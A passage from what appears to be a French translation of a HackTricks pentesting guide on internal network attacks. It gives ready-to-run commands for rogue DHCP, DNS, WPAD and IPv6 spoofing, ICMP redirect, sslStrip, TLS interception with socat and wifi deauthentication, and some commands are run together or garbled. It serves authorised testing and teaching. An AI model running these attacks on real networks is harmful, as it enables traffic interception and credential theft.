Vous pouvez utiliser les attaques DoS mentionnées pour forcer les clients à obtenir de nouvelles adresses dans l'environnement, et épuiser les serveurs légitimes afin qu'ils deviennent non réactifs. Ainsi, lorsque les légitimes tentent de se reconnecter, vous pouvez servir des valeurs malveillantes mentionnées dans la prochaine attaque.
Définir des valeurs malveillantes
Vous pouvez utiliser le script DHCP de Responder (/usr/share/responder/DHCP.py) pour établir un serveur DHCP pirate. Définir une passerelle malveillante n'est pas idéal, car la connexion détournée est seulement semi-duplex (c'est-à-dire que nous capturons les paquets de sortie du client, mais pas les réponses de la passerelle légitime). Par conséquent, je recommanderais de définir un serveur DNS ou WPAD pirate pour capturer le trafic HTTP et les informations d'identification en particulier.
Description | Exemple |
---|---|
Notre adresse IP, annoncée comme passerelle | -i 10.0.0.100 |
Le nom de domaine DNS local (facultatif) | -d example.org |
Adresse IP du routeur/passerelle d'origine | -r 10.0.0.1 |
Adresse IP du serveur DNS principal | -p 10.0.0.100 |
Adresse IP du serveur DNS secondaire (facultatif) | -s 10.0.0.1 |
Le masque de sous-réseau du réseau local | -n 255.255.255.0 |
L'interface sur laquelle écouter le trafic DHCP | -I eth1 |
Adresse de configuration WPAD (URL) | -w “http://10.0.0.100/wpad.dat\n” |
Spoof l'adresse IP de la passerelle par défaut | -S |
Répondre à toutes les demandes DHCP (très bruyant) | -R |
Attaques EAP
Voici quelques tactiques d'attaque qui peuvent être utilisées contre les implémentations 802.1X :
- Brute-force actif de mot de passe via EAP
- Attaque du serveur RADIUS avec un contenu EAP malformé **(exploits)
- Capture de messages EAP et craquage hors ligne de mots de passe (EAP-MD5 et PEAP)
- Forcer l'authentification EAP-MD5 pour contourner la validation du certificat TLS
- Injection de trafic réseau malveillant lors de l'authentification à l'aide d'un concentrateur ou similaire
Si l'attaquant se trouve entre la victime et le serveur d'authentification, il peut essayer de dégrader (si nécessaire) le protocole d'authentification en EAP-MD5 et capturer la tentative d'authentification. Ensuite, il peut effectuer une attaque de force brute en utilisant :
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
Attaques FHRP (GLBP & HSRP)
FHRP (First Hop Redundancy Protocol) est une classe de protocoles réseau conçus pour créer un système de routage redondant à chaud. Avec FHRP, les routeurs physiques peuvent être combinés en un seul dispositif logique, ce qui augmente la tolérance aux pannes et aide à répartir la charge.
Les ingénieurs de Cisco Systems ont développé deux protocoles FHRP, GLBP et HSRP.
{% content-ref url="glbp-and-hsrp-attacks.md" %} glbp-and-hsrp-attacks.md {% endcontent-ref %}
RIP
Il existe trois versions du protocole de routage RIP (Routing Information Protocol) - RIP, RIPv2 et RIPng. RIP et RIPv2 utilisent des datagrammes UDP envoyés aux pairs via le port 520, tandis que RIPng diffuse des datagrammes vers le port UDP 521 via le multicast IPv6. RIPv2 a introduit la prise en charge de l'authentification MD5. RIPng n'intègre pas d'authentification native ; elle repose plutôt sur les en-têtes IPsec AH et ESP optionnels dans IPv6.
Pour plus d'informations sur la façon d'attaquer ce protocole, consultez le livre Network Security Assessment: Know Your Network (3rd edition).
Attaques EIGRP
EIGRP (Enhanced Interior Gateway Routing Protocol) est un protocole de routage dynamique. C'est un protocole de vecteur de distance. Si aucune authentification et configuration des interfaces passives n'est effectuée, un intrus peut interférer avec le routage EIGRP et provoquer l'empoisonnement des tables de routage. De plus, le réseau EIGRP (autrement dit, le système autonome) est plat et n'est pas segmenté en zones. Si un attaquant injecte une route, il est probable que cette route se propage dans tout le système autonome EIGRP.
Pour attaquer un système EIGRP, il faut établir une relation de voisinage avec un routeur EIGRP légitime, ce qui ouvre de nombreuses possibilités, de la reconnaissance de base à diverses injections.
****FRRouting vous permet de mettre en place un routeur virtuel prenant en charge BGP, OSPF, EIGRP, RIP et d'autres protocoles. Il vous suffit de le déployer sur votre système d'attaquant et vous pouvez prétendre être un routeur légitime dans le domaine de routage.
{% content-ref url="eigrp-attacks.md" %} eigrp-attacks.md {% endcontent-ref %}
****Coly prend également en charge la capture des diffusions EIGRP et l'injection de paquets pour manipuler la configuration de routage. Pour plus d'informations sur la façon de l'attaquer avec Coly, consultez le livre Network Security Assessment: Know Your Network (3rd edition).
OSPF
La plupart des implémentations d'Open Shortest Path First (OSPF) utilisent MD5 pour fournir une authentification entre les routeurs. Loki et John the Ripper peuvent capturer et attaquer les hachages MD5 pour révéler la clé, qui peut ensuite être utilisée pour annoncer de nouvelles routes. Les paramètres de routage sont définis en utilisant l'onglet Injection, et la clé est définie sous Connection.
Pour plus d'informations sur la façon d'attaquer ce protocole, consultez le livre Network Security Assessment: Know Your Network (3rd edition).
Autres outils et sources génériques
- Above : Outil pour analyser le trafic réseau et trouver des vulnérabilités
- Vous pouvez trouver plus d'informations sur les attaques réseau ici. (TODO: Tout lire et toutes les nouvelles attaques, le cas échéant)
Spoofing
L'attaquant configure tous les paramètres réseau (GW, IP, DNS) du nouveau membre du réseau en envoyant de fausses réponses DHCP.
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
ARP Spoofing
Vérifiez la section précédente.
ICMPRedirect
ICMP Redirect consiste à envoyer un paquet ICMP de type 1 code 5 qui indique que l'attaquant est le meilleur moyen d'atteindre une adresse IP. Ensuite, lorsque la victime souhaite contacter l'adresse IP, elle enverra le paquet via l'attaquant.
Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
DNS Spoofing
L'attaquant va résoudre certains (ou tous) les domaines demandés par la victime.
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
Configurer son propre DNS avec dnsmasq
Lors de la réalisation de tests de pénétration sur un réseau, il est souvent nécessaire de configurer un serveur DNS personnalisé pour rediriger le trafic vers des adresses IP spécifiques. Dans cet exemple, nous allons utiliser dnsmasq pour configurer notre propre serveur DNS.
-
Installation de dnsmasq
Tout d'abord, nous devons installer dnsmasq sur notre machine. Utilisez la commande suivante pour installer dnsmasq :
sudo apt-get install dnsmasq
-
Configuration de dnsmasq
Une fois l'installation terminée, nous devons configurer dnsmasq pour qu'il réponde aux requêtes DNS. Ouvrez le fichier de configuration dnsmasq à l'aide de votre éditeur de texte préféré :
sudo nano /etc/dnsmasq.conf
Ajoutez les lignes suivantes à la fin du fichier :
address=/example.com/192.168.1.100 address=/www.example.com/192.168.1.100
Remplacez "example.com" par le nom de domaine que vous souhaitez rediriger et "192.168.1.100" par l'adresse IP vers laquelle vous souhaitez rediriger le trafic.
-
Redémarrage de dnsmasq
Une fois la configuration terminée, redémarrez le service dnsmasq pour appliquer les modifications :
sudo systemctl restart dnsmasq
-
Configuration du DNS sur les clients
Enfin, nous devons configurer les clients pour utiliser notre serveur DNS personnalisé. Modifiez le fichier de configuration du réseau sur chaque client et ajoutez l'adresse IP de notre serveur DNS à la liste des serveurs DNS :
sudo nano /etc/resolv.conf
Ajoutez la ligne suivante au fichier :
nameserver 192.168.1.100
Remplacez "192.168.1.100" par l'adresse IP de notre serveur DNS.
Maintenant, notre serveur DNS personnalisé est configuré avec dnsmasq. Toutes les requêtes DNS pour les domaines que nous avons spécifiés seront redirigées vers l'adresse IP que nous avons définie. Cela peut être utile lors de la réalisation de tests de pénétration pour rediriger le trafic vers des machines spécifiques sur le réseau.
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS
Passerelles locales
Il existe souvent plusieurs routes vers des systèmes et des réseaux. Après avoir établi une liste d'adresses MAC dans le réseau local, utilisez gateway-finder.py pour identifier les hôtes qui prennent en charge le transfert IPv4.
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100 00:13:72:09:ad:76 Dell Inc.
10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION
10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp.
root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
Falsification de LLMNR, NBT-NS et mDNS
Les systèmes Microsoft utilisent Link-Local Multicast Name Resolution (LLMNR) et le service de noms NetBIOS (NBT-NS) pour la résolution locale des hôtes lorsque les recherches DNS échouent. Les implémentations Apple Bonjour et Linux zero-configuration utilisent Multicast DNS (mDNS) pour découvrir les systèmes au sein d'un réseau. Ces protocoles ne sont pas authentifiés et diffusent des messages via UDP ; ainsi, les attaquants peuvent les exploiter pour rediriger les utilisateurs vers des services malveillants.
Vous pouvez vous faire passer pour des services recherchés par les hôtes en utilisant Responder pour envoyer de fausses réponses.
Lisez ici plus d'informations sur comment se faire passer pour des services avec Responder.
Falsification de WPAD
De nombreux navigateurs utilisent Web Proxy Auto-Discovery (WPAD) pour charger les paramètres de proxy depuis le réseau. Un serveur WPAD fournit les paramètres de proxy client via une URL spécifique (par exemple, http://wpad.example.org/wpad.dat) lorsqu'il est identifié par l'une des méthodes suivantes :
- DHCP, en utilisant une entrée de code 25234
- DNS, en recherchant le nom d'hôte wpad dans le domaine local
- Microsoft LLMNR et NBT-NS (en cas d'échec de la recherche DNS)
Responder automatise l'attaque WPAD - en exécutant un proxy et en redirigeant les clients vers un serveur WPAD malveillant via DHCP, DNS, LLMNR et NBT-NS.
Lisez ici plus d'informations sur comment se faire passer pour des services avec Responder.
Falsification de SSDP et des périphériques UPnP
Vous pouvez proposer différents services sur le réseau pour essayer de tromper un utilisateur afin qu'il entre des informations d'identification en texte clair. Plus d'informations sur cette attaque dans Falsification de SSDP et des périphériques UPnP.
Falsification de voisin IPv6
Cette attaque est très similaire à l'ARP Spoofing mais dans le monde IPv6. Vous pouvez faire croire à la victime que l'IPv6 de la passerelle a l'adresse MAC de l'attaquant.
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
Spoofing/Flooding des annonces de routeur IPv6
Certains systèmes d'exploitation configurent par défaut la passerelle à partir des paquets RA envoyés dans le réseau. Pour déclarer l'attaquant en tant que routeur IPv6, vous pouvez utiliser :
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16
Spoofing DHCP IPv6
Par défaut, certains systèmes d'exploitation tentent de configurer le DNS en lisant un paquet DHCPv6 dans le réseau. Ainsi, un attaquant pourrait envoyer un paquet DHCPv6 pour se configurer en tant que serveur DNS. Le DHCP fournit également une adresse IPv6 à la victime.
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>
mitm6
HTTP (fausse page et injection de code JS)
Attaques Internet
sslStrip
Essentiellement, cette attaque consiste à ce que, dans le cas où l'utilisateur tente d'accéder à une page HTTP qui se redirige vers la version HTTPS, sslStrip va maintenir une connexion HTTP avec le client et une connexion HTTPS avec le serveur, ce qui lui permettra de capturer la connexion en texte clair.
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
Plus d'informations ici.
sslStrip+ et dns2proxy pour contourner HSTS
La différence entre sslStrip+ et dns2proxy par rapport à sslStrip est qu'ils vont rediriger par exemple www.facebook.com vers wwww.facebook.com (notez le "w" supplémentaire) et définiront l'adresse de ce domaine comme l'adresse IP de l'attaquant. De cette façon, le client se connectera à wwww.facebook.com (l'attaquant) mais en réalité sslstrip+ maintiendra la véritable connexion via https avec www.facebook.com.
L'objectif de cette technique est de contourner HSTS car wwww.facebook.com ne sera pas enregistré dans le cache du navigateur, de sorte que le navigateur sera trompé pour effectuer l'authentification Facebook en HTTP.
Notez que pour effectuer cette attaque, la victime doit essayer d'accéder initialement à http://www.faceook.com et non à https. Cela peut être fait en modifiant les liens à l'intérieur d'une page http.
Plus d'informations ici, ici et ici.
sslStrip ou sslStrip+ ne fonctionne plus. Cela est dû aux règles HSTS préenregistrées dans les navigateurs, donc même si c'est la première fois qu'un utilisateur accède à un domaine "important", il y accédera via HTTPS. De plus, notez que les règles préenregistrées et les autres règles générées peuvent utiliser le drapeau includeSubdomains
donc l'exemple précédent de wwww.facebook.com ne fonctionnera plus car facebook.com utilise HSTS avec includeSubdomains
.
TODO: easy-creds, evilgrade, metasploit, factory
Écoute TCP sur le port
sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -
Écoute TCP + SSL sur le port
Générer des clés et un certificat auto-signé
FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
Écoute en utilisant un certificat
L'écoute en utilisant un certificat est une technique couramment utilisée lors des tests d'intrusion pour intercepter et analyser le trafic réseau. Cette méthode implique l'utilisation d'un certificat valide pour se faire passer pour un serveur légitime et ainsi capturer les données échangées entre les clients et le serveur.
Pour mettre en œuvre cette technique, vous devez générer un certificat valide qui correspond au domaine ou à l'adresse IP du serveur cible. Une fois que vous avez obtenu le certificat, vous pouvez l'installer sur votre propre serveur et configurer l'écoute sur le port approprié.
Lorsque les clients se connectent au serveur cible, ils recevront le certificat que vous avez généré et installeront automatiquement celui-ci. Cela leur permettra de communiquer avec votre serveur au lieu du serveur légitime. Vous pourrez ainsi intercepter et analyser le trafic réseau, y compris les données sensibles telles que les identifiants de connexion.
Il est important de noter que cette technique peut être considérée comme une violation de la vie privée et peut être illégale dans de nombreux pays sans le consentement approprié. Il est donc essentiel de l'utiliser uniquement dans le cadre d'un test d'intrusion autorisé et avec l'autorisation écrite du propriétaire du système cible.
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
Écouter en utilisant un certificat et rediriger vers les hôtes
Lors de l'audit d'un réseau, il est souvent nécessaire d'écouter le trafic réseau pour identifier les vulnérabilités potentielles. Une méthode courante consiste à utiliser un certificat pour intercepter le trafic chiffré et le rediriger vers des hôtes spécifiques.
Voici les étapes générales pour mettre en place cette méthode :
- Générez un certificat SSL valide pour le domaine que vous souhaitez écouter.
- Configurez un proxy inverse pour intercepter le trafic HTTPS entrant.
- Installez le certificat sur le proxy inverse afin qu'il puisse déchiffrer le trafic.
- Configurez le proxy inverse pour rediriger le trafic déchiffré vers les hôtes cibles.
Une fois que tout est configuré, le proxy inverse interceptera le trafic HTTPS, déchiffrera les données à l'aide du certificat et redirigera le trafic vers les hôtes spécifiés. Cela vous permettra d'analyser le trafic en clair et d'identifier les éventuelles vulnérabilités ou fuites d'informations.
Il est important de noter que cette méthode doit être utilisée avec précaution et dans le cadre d'un audit de sécurité autorisé. L'interception du trafic HTTPS sans autorisation appropriée peut être illégale et violer la confidentialité des utilisateurs.
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
Parfois, si le client vérifie que le CA est valide, vous pouvez servir un certificat d'un autre nom d'hôte signé par un CA.
Un autre test intéressant consiste à servir un certificat du nom d'hôte demandé mais auto-signé.
D'autres choses à tester sont de tenter de signer le certificat avec un certificat valide qui n'est pas un CA valide. Ou d'utiliser la clé publique valide, forcer l'utilisation d'un algorithme comme diffie hellman (qui n'a pas besoin de décrypter quoi que ce soit avec la vraie clé privée) et lorsque le client demande une sonde de la vraie clé privée (comme un hash), envoyer une fausse sonde et espérer que le client ne vérifie pas cela.
Bettercap
# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear
# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on
# Caplets
caplets.show
caplets.update
# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap
Notes de découverte active
Il faut prendre en compte que lorsqu'un paquet UDP est envoyé à un appareil qui n'a pas le port demandé, un ICMP (Port Unreachable) est renvoyé.
Découverte ARP
Les paquets ARP sont utilisés pour découvrir quelles adresses IP sont utilisées dans le réseau. Le PC doit envoyer une demande pour chaque adresse IP possible et seules celles qui sont utilisées répondront.
mDNS (multicast DNS)
Bettercap envoie une requête mDNS (toutes les X ms) demandant _services_.dns-sd._udp.local. La machine qui voit ce paquet répond généralement à cette demande. Ensuite, il ne recherche que les machines répondant aux "services".
Outils
- Avahi-browser (--all)
- Bettercap (net.probe.mdns)
- Responder
NBNS (NetBios Name Server)
Bettercap diffuse des paquets vers le port 137/UDP en demandant le nom "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".
SSDP (Simple Service Discovery Protocol)
Bettercap diffuse des paquets SSDP à la recherche de tous types de services (port UDP 1900).
WSD (Web Service Discovery)
Bettercap diffuse des paquets WSD à la recherche de services (port UDP 3702).
Références
Astuce pour les primes de bug : inscrivez-vous sur Intigriti, une plateforme premium de prime de bug créée par des hackers, pour des hackers ! Rejoignez-nous sur https://go.intigriti.com/hacktricks dès aujourd'hui et commencez à gagner des primes allant jusqu'à 100 000 $ !
{% embed url="https://go.intigriti.com/hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Vous travaillez dans une entreprise de cybersécurité ? Vous voulez voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.